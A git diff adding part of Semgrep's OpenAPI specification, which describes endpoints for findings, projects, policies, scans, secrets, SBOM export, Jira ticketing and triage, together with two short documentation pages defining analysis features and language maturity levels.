+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListRepositoriesForDependenciesResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List repositories with dependencies
+ tags:
+ - SupplyChainService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/dependencies/repositories/{repositoryId}/lockfiles:
+ post:
+ operationId: SupplyChainService_ListLockfilesForDependencies
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ format: uint64
+ type: string
+ - in: path
+ name: repositoryId
+ required: true
+ schema:
+ description: Repository ID to filter by. Use Projects endpoints to retrieve
+ repository IDs.
+ format: uint64
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListLockfilesForDependenciesRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListLockfilesForDependenciesResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List lockfiles in a given repository with dependencies
+ tags:
+ - SupplyChainService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/policies:
+ get:
+ operationId: PoliciesService_ListPolicies
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListPoliciesResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List policies
+ tags:
+ - PoliciesService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/policies/{policyId}:
+ get:
+ operationId: PoliciesService_ListPolicyRules
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ - in: path
+ name: policyId
+ required: true
+ schema:
+ description: 'Policy ID (numeric). Example: `456`. Can be found at `/deployments/{deploymentId}/policies`.'
+ example: 456
+ format: uint64
+ type: string
+ - in: query
+ name: cursor
+ schema:
+ description: Cursor to paginate through the rules. Provide a cursor value
+ from the response to retrieve the next page.
+ type: string
+ - in: query
+ name: limit
+ schema:
+ description: Page size to paginate through the rules. The default page size
+ is `500` and the maximum allowed page size is `2000`.
+ format: uint32
+ type: integer
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListPolicyRulesResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List policy rules
+ tags:
+ - PoliciesService
+ x-badges: []
+ put:
+ operationId: PoliciesService_UpdatePolicy
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ - in: path
+ name: policyId
+ required: true
+ schema:
+ description: 'Policy ID (numeric). Example: `456`. Can be found at `/deployments/{deploymentId}/policies`.'
+ example: 456
+ format: uint64
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.UpdatePolicyRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.UpdatePolicyResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Update policy
+ tags:
+ - PoliciesService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/sbom/export:
+ post:
+ operationId: SupplyChainService_CreateSbomExport
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateSbomExportRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateSbomExportResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Create a new SBOM export job
+ tags:
+ - SupplyChainService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/sbom/export/{taskToken}:
+ get:
+ operationId: SupplyChainService_GetSbomExport
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: int64
+ type: string
+ - in: path
+ name: taskToken
+ required: true
+ schema:
+ description: Task token for the SBOM export job.
+ type: string
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.GetSbomExportResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Get the status of a SBOM export job
+ tags:
+ - SupplyChainService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/scan/{scanId}:
+ get:
+ description: Request the details of a scan including the associated deployment,
+ repository, and commit information.
+ operationId: ScansService_GetScan
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ - in: path
+ name: scanId
+ required: true
+ schema:
+ description: 'Scan ID (numeric). Example: `456`. Can be found at `/deployments/{deploymentId}/scans/search`.'
+ example: 456
+ format: uint64
+ type: string
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.GetScanResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Get scan details
+ tags:
+ - ScansService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/scans/search:
+ post:
+ description: List the scans associated with a particular repository over the
+ past 30 days.
+ operationId: ScansService_SearchScans
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.SearchScansRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.SearchScansResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List scans (beta)
+ tags:
+ - ScansService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/secrets:
+ get:
+ operationId: SecretsService_ListSecretsPath
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ - in: query
+ name: cursor
+ schema:
+ description: Cursor to paginate through the rules. Provide a cursor value
+ from the response to retrieve the next page.
+ type: string
+ - in: query
+ name: limit
+ schema:
+ description: Page size to paginate through the results.
+ format: uint32
+ type: integer
+ - in: query
+ name: since
+ schema:
+ format: date-time
+ type: string
+ - in: query
+ name: validationState
+ schema:
+ description: "Whether the finding was validated or not.\n\n - VALIDATION_STATE_UNSPECIFIED:
+ Return results for all validation states (can also omit this parameter).\n-
+ VALIDATION_STATE_CONFIRMED_VALID: Secret has been tested and is confirmed
+ valid.\n - VALIDATION_STATE_CONFIRMED_INVALID: Secret has been tested
+ and is confirmed invalid.\n - VALIDATION_STATE_VALIDATION_ERROR: Secret
+ test was attempted and there was an error.\n - VALIDATION_STATE_NO_VALIDATOR:
+ There is no validator for this secret."
+ format: string
+ items:
+ enum:
+ - VALIDATION_STATE_UNSPECIFIED
+ - VALIDATION_STATE_CONFIRMED_VALID
+ - VALIDATION_STATE_CONFIRMED_INVALID
+ - VALIDATION_STATE_VALIDATION_ERROR
+ - VALIDATION_STATE_NO_VALIDATOR
+ format: enum
+ type: string
+ type: array
+ - in: query
+ name: status
+ schema:
+ default: FINDING_STATUS_UNSPECIFIED
+ description: "Status of the finding.\n\n - FINDING_STATUS_UNSPECIFIED: Return
+ results for all finding statuses (if used as a parameter).\n - FINDING_STATUS_OPEN:
+ Finding is open and needs to be triaged\n - FINDING_STATUS_IGNORED: Finding
+ has been triaged and is being ignored\n - FINDING_STATUS_FIXED: Finding
+ has been fixed\n - FINDING_STATUS_REMOVED: Finding has been removed\n
+ - FINDING_STATUS_UNKNOWN: Finding status is unknown"
+ enum:
+ - FINDING_STATUS_UNSPECIFIED
+ - FINDING_STATUS_OPEN
+ - FINDING_STATUS_IGNORED
+ - FINDING_STATUS_FIXED
+ - FINDING_STATUS_REMOVED
+ - FINDING_STATUS_UNKNOWN
+ - FINDING_STATUS_PROVISIONALLY_IGNORED
+ format: enum
+ type: string
+ - in: query
+ name: severity
+ schema:
+ description: "Severity of the finding.\n\n - SEVERITY_UNSPECIFIED: Return
+ results for all severities (if used as a parameter)."
+ format: string
+ items:
+ enum:
+ - SEVERITY_UNSPECIFIED
+ - SEVERITY_HIGH
+ - SEVERITY_MEDIUM
+ - SEVERITY_LOW
+ - SEVERITY_CRITICAL
+ format: enum
+ type: string
+ type: array
+ - in: query
+ name: repo
+ schema:
+ description: Repositories to view results for. If not specified, returns
+ all.
+ format: string
+ items:
+ type: string
+ type: array
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListSecretsPathResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List secrets
+ tags:
+ - SecretsService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/ticketing/v2/tickets/{externalTicketId}:
+ delete:
+ description: Unlink a Jira ticket by its ID
+ operationId: TicketingService_DeleteTicket
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: Deployment ID. Can be found at /deployments, or in your Settings
+ in the web UI.
+ example: 123
+ type: string
+ - in: path
+ name: externalTicketId
+ required: true
+ schema:
+ description: The ID of the external ticket
+ example: 456
+ format: uint32
+ type: integer
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.DeleteTicketResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Unlink a Jira ticket
+ tags:
+ - TicketingService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/findings:
+ get:
+ description: 'Request the list of code or supply chain findings in an organization,
+ paginated in pages of 100 entries and limited by the `since` timestamp. Findings
+ are returned by `relevant_since` descending (see `since` in the Query Parameters
+ list). Examples: List SAST findings with pagination, List SCA findings since
+ timestamp, List findings with filters.'
+ operationId: FindingsService_ListFindings
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: query
+ name: issue_type
+ schema:
+ default: sast
+ description: 'Type of findings to return. If not specified, returns `sast`
+ (Code) findings. Can either be `sast` (Code) or `sca` (Supply Chain).
+ Valid values: sast, sca'
+ enum:
+ - sast
+ - sca
+ example: sca
+ type: string
+ - in: query
+ name: since
+ schema:
+ description: 'What timestamp should the results start at? If not specified,
+ returns results from all timestamps. Provide epoch timestamp in seconds.
+ Filters using the `relevant_since` field: the timestamp when this finding
+ was detected by Semgrep (the first time, or when reintroduced).'
+ example: 1636942398.45
+ format: double
+ type: number
+ - in: query
+ name: page
+ schema:
+ default: '0'
+ description: Which page of the results do you require? If not specified,
+ returns first page. Pages are numbered from zero (0).
+ example: 1
+ format: uint32
+ type: integer
+ - in: query
+ name: dedup
+ schema:
+ default: false
+ description: Deduplicates findings across all your refs/branches if true.
+ If not specified, returns all findings across all refs/branches without
+ deduplicating them. Set this to `true` if you are not filtering for a
+ particular set of refs/branches in order to match the counts listed in
+ the Semgrep UI.
+ example: true
+ type: boolean
+ - in: query
+ name: page_size
+ schema:
+ default: '100'
+ description: 'Maximum number of records per returned page. If not specified,
+ defaults to 100 records. Minimum: 100, Maximum: 3000'
+ example: 100
+ format: uint32
+ maximum: 3000.0
+ minimum: 100.0
+ type: integer
+ - in: query
+ name: repos
+ schema:
+ description: Which repositories (by name) do you want to include? If not
+ specified, includes all.
+ example:
+ - myorg/repo1
+ - myorg/repo2
+ items:
+ type: string
+ type: array
+ - in: query
+ name: repository_ids
+ schema:
+ description: Which repositories (by ID) do you want to include? If not specified,
+ includes all.
+ example:
+ - 1
+ - 2
+ - 3
+ items:
+ format: uint32
+ type: integer
+ type: array
+ - in: query
+ name: status
+ schema:
+ description: 'Which status do you want to include? If not specified, includes
+ all. Valid values: open, fixed, ignored, reviewing, fixing'
+ enum:
+ - open
+ - fixed
+ - ignored
+ - reviewing
+ - fixing
+ example: open
+ type: string
+ - in: query
+ name: triage_reasons
+ schema:
+ description: 'Which triage reasons do you want to include? If not specified,
+ includes all. This filter is applicable when `status` is `ignored`. Valid
+ values: acceptable_risk, false_positive, no_time, no_triage_reason'
+ enum:
+ - acceptable_risk
+ - false_positive
+ - no_time
+ - no_triage_reason
+ example:
+ - acceptable_risk
+ - false_positive
+ items:
+ type: string
+ type: array
+ - in: query
+ name: severities
+ schema:
+ description: 'What severities of issues do you want to include? If not specified,
+ returns all. Valid values: low, medium, high, critical'
+ enum:
+ - low
+ - medium
+ - high
+ - critical
+ example:
+ - low
+ - high
+ items:
+ type: string
+ type: array
+ - in: query
+ name: ref
+ schema:
+ description: Which ref (branch) do you want to filter for?
+ example: refs/pull/1234/merge
+ type: string
+ - in: query
+ name: policies
+ schema:
+ description: 'Which policy modes do you want to include? If not specified,
+ includes all. Monitor: `rule-board-audit`, Comment: `rule-board-pr-comments`,
+ Block: `rule-board-block`. This filter is applicable when `issue_type`
+ is `sast` or unspecified.'
+ example:
+ - rule-board-block
+ - rule-board-pr-comments
+ - rule-board-audit
+ items:
+ type: string
+ type: array
+ - in: query
+ name: rules
+ schema:
+ description: Which rule names do you want to include? If not specified,
+ includes all. This filter is applicable when `issue_type` is `sast` or
+ unspecified.
+ example:
+ - typescript.react.security.audit.react-no-refs.react-no-refs
+ - ajinabraham.njsscan.hardcoded_secrets.node_username
+ items:
+ type: string
+ type: array
+ - in: query
+ name: categories
+ schema:
+ description: Which categories of findings do you want to include? If not
+ specified, includes all. This filter is applicable when `issue_type` is
+ `sast` or unspecified.
+ example:
+ - security
+ - correctness
+ - caching
+ items:
+ type: string
+ type: array
+ - in: query
+ name: confidence
+ schema:
+ description: 'Which rule confidence level do you want to include? If not
+ specified, includes all. This filter is applicable when `issue_type` is
+ `sast` or unspecified. Valid values: low, medium, high'
+ enum:
+ - low
+ - medium
+ - high
+ example: high
+ type: string
+ - in: query
+ name: autotriage_verdict
+ schema:
+ description: 'Which autotriage verdict do you want to include? If not specified,
+ includes all. This filter is applicable when `issue_type` is `sast` or
+ unspecified. Valid values: true_positive, false_positive'
+ enum:
+ - true_positive
+ - false_positive
+ example: true_positive
+ type: string
+ - in: query
+ name: component_tags
+ schema:
+ description: Which component tags do you want to include? If not specified,
+ includes all.
+ example:
+ - user authentication
+ - user data
+ items:
+ type: string
+ type: array
+ - in: query
+ name: exposures
+ schema:
+ description: 'List of exposures or reachability types to filter by. If not
+ specified, returns findings across all exposures. This filter is applicable
+ when `issue_type=sca` is specified. Valid values: reachable, always_reachable,
+ conditionally_reachable, unreachable, unknown'
+ enum:
+ - reachable
+ - always_reachable
+ - conditionally_reachable
+ - unreachable
+ - unknown
+ example:
+ - reachable
+ - always_reachable
+ items:
+ type: string
+ type: array
+ - in: query
+ name: transitivities
+ schema:
+ description: 'List of transitivities to filter by. If not specified, returns
+ all transitivities. This filter is applicable when `issue_type=sca` is
+ specified. Valid values: direct, transitive, unknown'
+ enum:
+ - direct
+ - transitive
+ - unknown
+ example:
+ - transitive
+ items:
+ type: string
+ type: array
+ - in: query
+ name: is_malicious
+ schema:
+ description: 'Filter SCA findings by whether they are from malicious dependencies.
+ If not specified, returns all SCA findings. This filter is only applicable
+ when `issue_type=sca` is specified.
+
+ - true: Returns only findings from malicious dependencies
+
+ - false: Returns only findings from all other reachabilities (reachable
+ in code, always reachable, conditionally reachable, etc.)'
+ example: true
+ type: boolean
+ - in: query
+ name: click_to_fix_pr_state
+ schema:
+ description: 'Filter findings by Click-to-Fix PR state. If not specified,
+ returns all findings regardless of autofix PR status. This filter applies
+ to both sast and sca issue types. Valid values: open, merged'
+ enum:
+ - open
+ - merged
+ example:
+ - open
+ - merged
+ items:
+ type: string
+ type: array
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListFindingsResponse'
+ description: OK
+ default:
+ content:
+ application/json:
+ schema:
+ properties:
+ findings:
+ items:
+ oneOf:
+ - title: Sast Finding
+ allOf:
+ - $ref: '#/components/schemas/protos.openapi.v1.SastFinding'
+ - title: Sca Finding
+ allOf:
+ - $ref: '#/components/schemas/protos.openapi.v1.ScaFinding'
+ type: array
+ type: object
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List code or supply chain findings
+ tags:
+ - FindingsService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/projects:
+ get:
+ description: Request the list of projects that have been scanned or onboarded
+ to Managed Scans. Does not return archived repositories. Returns 100 projects
+ per page by default.
+ operationId: ProjectsService_ListProjects
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: query
+ name: page
+ schema:
+ description: Which page of the results do you require? If not specified,
+ returns first page. Pages are numbered from zero (0).
+ example: 1
+ format: uint32
+ type: number
+ - in: query
+ name: page_size
+ schema:
+ default: 100.0
+ description: Maximum number of records per returned page. If not specified,
+ defaults to 100 records.
+ example: 100
+ format: uint32
+ type: number
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListProjectsResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List all projects
+ tags:
+ - ProjectsService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/projects/{projectName}:
+ delete:
+ description: Delete a project for a deployment you have access to. This will
+ also delete all of the associated findings.
+ operationId: ProjectsService_DeleteProject
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: path
+ name: projectName
+ required: true
+ schema:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.DeleteProjectResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Delete project
+ tags:
+ - ProjectsService
+ x-badges: []
+ get:
+ description: Retrieve details for a single project associated with a deployment
+ that you have access to.
+ operationId: ProjectsService_GetProject
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: path
+ name: projectName
+ required: true
+ schema:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.GetProjectResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Get project details
+ tags:
+ - ProjectsService
+ x-badges: []
+ patch:
+ description: 'Update attributes for the project using the value passed in to
+ the request body.
+
+
+ Note: The only attribute that is supported as of January 2023 is `tags`.'
+ operationId: ProjectsService_UpdateProject
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: path
+ name: projectName
+ required: true
+ schema:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.UpdateProjectRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.UpdateProjectResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Update project details
+ tags:
+ - ProjectsService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/projects/{projectName}/managed-scan:
+ patch:
+ description: 'Enable or disable
+
+ [Semgrep Managed Scans](/deployment/managed-scanning/overview)
+
+ for a project.'
+ operationId: ProjectsService_ToggleProjectManagedScan
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: path
+ name: projectName
+ required: true
+ schema:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ToggleProjectManagedScanRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ToggleProjectManagedScanResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Toggle Managed Scans for a project
+ tags:
+ - ProjectsService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags:
+ delete:
+ description: 'Remove tags from a project for a deployment you have access to.
+
+
+ This request will not delete project tags from the deployment and will only
+ remove
+
+ them from the requested project. Any other projects associated with the requested
+
+ tag will remain unaffected.'
+ operationId: ProjectsService_DeleteProjectTags
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: path
+ name: projectName
+ required: true
+ schema:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ - in: query
+ name: tags
+ schema:
+ example:
+ - tag
+ items:
+ type: string
+ type: array
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.DeleteProjectTagsResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Remove tags from project
+ tags:
+ - ProjectsService
+ x-badges: []
+ put:
+ description: 'Add tags to a project for a deployment you have access to.
+
+
+ Any project tags that do not already exist for the deployment will be created
+ automatically and associated with the project.'
+ operationId: ProjectsService_AddProjectTags
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ - in: path
+ name: projectName
+ required: true
+ schema:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.AddProjectTagsRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.AddProjectTagsResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Add tags to project
+ tags:
+ - ProjectsService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/tickets:
+ post:
+ description: Create Jira tickets for your findings. You can create tickets by
+ passing in a list of issue_ids or by passing in filter query parameters to
+ dynamically select findings. If passing in filters, Semgrep will skip already
+ ticketed findings. This endpoint is synchronous, so it may take some time
+ for your request to resolve. Unlike creating tickets in-app, if ticket creation
+ fails we won't automatically retry. This endpoint accepts a limit parameter
+ (defaulting to 20) to limit the number of tickets created per request. If
+ you specify a list of issue_ids greater than this limit, or your selected
+ filters match on a number of issues greater than this limit, issues that were
+ not ticketed are included in the Failed part of the response object. You can
+ send another request to create tickets for these skipped issues. By default,
+ findings belonging to the same repository and the same rule will be grouped
+ together into a single Jira ticket. You can override this using the group_issues
+ query parameter. Up to 50 issues can be grouped into a single ticket. You
+ can optionally override the Jira project you create tickets in by passing
+ in a Jira project ID as jira_project_id (the numeric ID rather than the project
+ key). You can fetch this ID using the Jira API.
+ operationId: TicketingService_CreateTicket
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Deployment slug. Can be found at `/deployments`, or in your
+ Settings in the web UI.
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateTicketRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateTicketResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Create Jira tickets
+ tags:
+ - TicketingService
+ x-badges: []
+ /api/v1/deployments/{deploymentSlug}/triage:
+ post:
+ description: Bulk triage your findings. You can select the findings to triage
+ by passing in a list of finding IDs as issue_ids, or by passing in filter
+ query parameters. You must specify the issue_type of the findings you want
+ to bulk triage. One of new_triage_state or new_note is required. If specifying
+ a new_triage_reason, you must also use new_triage_state=ignored. Some filters
+ only apply for findings associated with a given product.
+ operationId: TriageService_BulkTriage
+ parameters:
+ - in: path
+ name: deploymentSlug
+ required: true
+ schema:
+ description: Deployment slug. Can be found at /deployments, or in your Settings
+ in the web UI.
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.BulkTriageRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.BulkTriageResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: Bulk triage
+ tags:
+ - TriageService
+ x-badges: []
+ /api/v1/ping:
+ get:
+ description: Use to ping the server and assert liveness.
+ operationId: MiscService_Ping
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.PingResponse'
+ description: OK
+ summary: Ping
+ tags:
+ - MiscService
+ x-badges: []
+tags:
+- description: Deployments encapsulate your organization's security organization,
+ with multiple projects, policies, and integrations. As the root object of the
+ organization, they're similarly the root object of the API.
+ name: DeploymentsService
+ x-displayName: Deployment
+- description: Manage and retrieve code and supply chain security findings from Semgrep
+ scans
+ name: FindingsService
+ x-displayName: Code and Supply Chain
+- description: Utility endpoints.
+ name: MiscService
+ x-displayName: Other
+- description: View and manage the Policies of your organization.
+ name: PoliciesService
+ x-displayName: Policies
+- name: ProjectsService
+ x-displayName: Projects
+- description: View details of scans associated with projects in your organization.
+ name: ScansService
+ x-displayName: Scans
+- description: View and manage the Secrets of your organization.
+ name: SecretsService
+ x-displayName: Secrets
+- description: 'Manage the Supply Chain findings and dependencies of your organization.
+
+
+ A request body is required, but may be an empty object.'
+ name: SupplyChainService
+ x-displayName: Supply Chain
+- description: Create and manage external tickets
+ name: TicketingService
+ x-displayName: Ticketing
+- description: View and manage the triage of your organization.
+ name: TriageService
+ x-displayName: Triage
diff --git a/mintlify-docs/references/feature-definitions.mdx b/mintlify-docs/references/feature-definitions.mdx
new file mode 100644
index 0000000000..bc24954862
--- /dev/null
+++ b/mintlify-docs/references/feature-definitions.mdx
@@ -0,0 +1,23 @@
+---
+title: "Feature definitions"
+---
+
+This document defines the terms used when discussing Semgrep analysis features in [Supported languages](/supported-languages).
+
+## Cross-file dataflow analysis
+
+Cross-file analysis (also known as **interfile analysis**) takes into account how information flows between files. In particular, cross-file analysis includes **cross-file taint analysis**, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many files. Other analyses performed across files include constant propagation and type inference.
+
+Cross-file analysis is usually used in contrast to intrafile, or per-file analysis, where each file is analyzed as a standalone block of code.
+
+Languages with cross-file support also include cross-function support.
+
+## Cross-function dataflow analysis
+
+Cross-function analysis means that interactions between functions are taken into account. This improves taint analysis, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many functions.
+
+## Reachability analysis
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+See [Overview of Semgrep Supply Chain](/semgrep-supply-chain/overview) to learn how Semgrep leverages its code-scanning and rule syntax capabilities to provide high-signal rules that determine a finding's reachability. This assists security engineers in remediation and triage processes.
diff --git a/mintlify-docs/references/language-maturity-levels.mdx b/mintlify-docs/references/language-maturity-levels.mdx
new file mode 100644
index 0000000000..ee43123a75
--- /dev/null
+++ b/mintlify-docs/references/language-maturity-levels.mdx
@@ -0,0 +1,40 @@
+---
+title: "Language maturity levels"
+---
+
+This document defines the language maturity levels used on the [Supported languages](/supported-languages) page.
+
+## Semgrep Code
+
+Semgrep Code languages can be classified into four maturity levels:
+
+- Generally available (GA)
+- Beta
+- Experimental
+- Community supported\*
+
+\*Community supported languages meet the parse rate and syntax requirements of
+**Experimental** languages. Users can still access community rules or write their
+own rules.
+
+| Feature | GA | Beta | Experimental | Community supported |
+| :--- | :--- | :--- | :--- | :--- |
+| Support | Highest quality support by the Semgrep team. Reported issues are resolved promptly. | Supported by the Semgrep team. Reported issues are fixed after GA languages. | There are limitations to this language's functionality. Reported issues are tracked and prioritized with best effort. | These languages are supported by the Semgrep community. While Semgrep may develop rules or engine updates for these languages, they are not prioritized. |
+| Parse Rate | 99\%\+ | 95\%\+ | 90\%\+ | 90\%\+ |
